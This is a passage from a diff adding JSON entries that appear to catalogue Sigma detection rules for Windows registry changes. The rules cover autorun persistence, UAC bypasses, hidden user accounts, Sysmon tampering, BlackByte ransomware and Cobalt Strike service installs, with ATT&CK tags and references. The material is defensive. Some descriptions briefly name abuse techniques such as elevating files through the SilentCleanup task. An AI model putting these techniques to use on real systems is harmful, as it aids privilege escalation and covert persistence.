run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", + "uuid": "4e8d5fd3-c959-441f-a941-f73d0cdcdca5", + "value": "Abusing Windows Telemetry For Persistence", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_abusing_windows_telemetry_for_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112", + "attack.t1053" + ], + "creation_date": "2020/09/29", + "filename": "registry_set_abusing_windows_telemetry_for_persistence.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect modification for a specific user to prevent that user from being listed on the logon screen", + "uuid": "8a58209c-7ae6-4027-afb0-307a78e4589a", + "value": "User Account Hidden By Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ], + "creation_date": "2022/08/20", + "filename": "registry_set_add_hidden_user.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry to allow a driver or service to persist in Safe Mode.", + "uuid": "1547e27c-3974-43e2-a7d7-7f484fb928ec", + "value": "Registry Persitence via Service in Safe Mode", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/04/04", + "filename": "registry_set_add_load_service_in_safe_mode.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation.\nA port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.\n", + "uuid": "944e8941-f6f6-4ee8-ac05-1c224e923c0e", + "value": "Add Port Monitor Persistence in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.010/T1547.010.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_port_monitor.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ], + "creation_date": "2021/12/30", + "filename": "registry_set_add_port_monitor.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", + "uuid": "092af964-4233-4373-b4ba-d86ea2890288", + "value": "Add Debugger Entry To AeDebug For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/aedebug.html", + "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_aedebug_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect enable rdp feature to allow specific user to rdp connect on the targeted machine", + "uuid": "37b437cf-3fc5-4c8e-9c94-1d7c9aff842b", + "value": "Allow RDP Remote Assistance Feature", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/08/19", + "filename": "registry_set_allow_rdp_remote_assistance_feature.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitmate use of the feature (alerts should be investigated either way)" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "9df5f547-c86a-433e-b533-f2794357e242", + "value": "Classes Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_classes.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "f59c3faf-50f3-464b-9f4c-1b67ab512d99", + "value": "Common Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://persistence-info.github.io/Data/userinitmprlogonscript.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_common.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split), wagga (name)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35", + "value": "CurrentControlSet Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "20f0ee37-5942-4e45-b7d5-c5b5db9df5cd", + "value": "CurrentVersion Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_currentversion.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "cbf93e5d-ca6c-4722-8bea-e9119007c248", + "value": "CurrentVersion NT Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentversion_nt.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_currentversion_nt.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "a80f662f-022f-4429-9b8c-b1a41aaa6688", + "value": "Internet Explorer Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_internet_explorer.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_internet_explorer.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "baecf8fb-edbf-429f-9ade-31fc3f22b970", + "value": "Office Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_office.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_office.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "046218bd-e0d8-4113-a3c3-895a12b2b298", + "value": "Session Manager Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_session_manager.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001", + "attack.t1546.009" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_session_manager.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1", + "value": "System Scripts Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "d6c2ce7e-afb5-4337-9ca4-4b5254ed0565", + "value": "WinSock2 Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_winsock2.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_winsock2.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "b29aed60-ebd1-442b-9cb5-16a1d0324adb", + "value": "Wow6432Node CurrentVersion Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_wow6432node.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "18f2065c-d36c-464a-a748-bcf909acb2e3", + "value": "Wow6432Node Classes Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_classes.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_wow6432node_classes.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification of autostart extensibility point (ASEP) in registry.", + "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8", + "value": "Wow6432Node CurrentVersion Autorun Keys Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2019/10/25", + "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml", + "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", + "level": "medium", + "falsepositive": [ + "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", + "Legitimate administrator sets up autorun keys for legitimate reason" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "BlackByte set three different registry values to escalate privileges and begin setting the stage for lateral movement and encryption", + "uuid": "83314318-052a-4c90-a1ad-660ece38d276", + "value": "Blackbyte Ransomware Registry", + "meta": { + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/?utm_source=twitter&utm_medium=social", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_blackbyte_ransomware.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/01/24", + "filename": "registry_set_blackbyte_ransomware.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Bypasses User Account Control using a fileless method", + "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f", + "value": "Bypass UAC Using DelegateExecute", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", + "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/01/05", + "filename": "registry_set_bypass_uac_using_delegateexecute.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification", + "uuid": "674202d0-b22a-4af4-ae5f-2eda1f3da1af", + "value": "Bypass UAC Using Event Viewer", + "meta": { + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-1---bypass-uac-using-event-viewer-cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_eventviewer.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ], + "creation_date": "2022/01/05", + "filename": "registry_set_bypass_uac_using_eventviewer.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", + "uuid": "724ea201-6514-4f38-9739-e5973c34f49a", + "value": "Bypass UAC Using SilentCleanup Task", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", + "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2022/01/06", + "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", + "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e", + "value": "Changing RDP Port to Non Standard Number", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ], + "creation_date": "2022/01/01", + "filename": "registry_set_change_rdp_port.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Hides the file extension through modification of the registry", + "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393", + "value": "IE Change Domain Zone", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", + "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2022/01/22", + "filename": "registry_set_change_security_zones.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", + "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061", + "value": "Disable Sysmon Event Logging Via Registry", + "meta": { + "refs": [ + "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", + "https://youtu.be/zSihR3lTf7g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/07/28", + "filename": "registry_set_change_sysmon_driver_altitude.yml", + "author": "B.Talebi", + "level": "high", + "falsepositive": [ + "Legitimate driver altitude change to hide sysmon" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", + "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c", + "value": "Change Winevt Event Access Permission Via Registry", + "meta": { + "refs": [ + "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", + "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/17", + "filename": "registry_set_change_winevt_channelaccess.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", + "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b", + "value": "CHM Helper DLL Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/htmlhelpauthor.html", + "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_chm_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", + "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1", + "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1133" + ], + "creation_date": "2021/12/28", + "filename": "registry_set_chrome_extension.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n", + "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130", + "value": "CobaltStrike Service Installations in Registry", + "meta": { + "refs": [ + 